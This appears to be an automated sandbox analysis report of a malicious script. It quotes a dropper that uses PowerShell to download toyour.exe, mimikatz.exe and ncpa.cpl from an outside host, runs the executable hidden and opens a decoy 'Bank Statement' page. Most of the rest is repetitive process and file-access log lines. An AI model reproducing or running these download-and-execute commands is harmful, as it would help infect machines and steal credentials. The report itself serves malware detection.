Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimika", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.c", "0", "true");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimika", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.c", "0", "true");IWshShell3.Run("cmd /c start /b control C:\\WinXRAR\\ncpa.cpl", "0", "false");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimika", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.c", "0", "true");IWshShell3.Run("cmd /c start /b control C:\\WinXRAR\\ncpa.cpl", "0", "false");IWshShell3.Run("cmd /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe", "0", "false");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0",

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
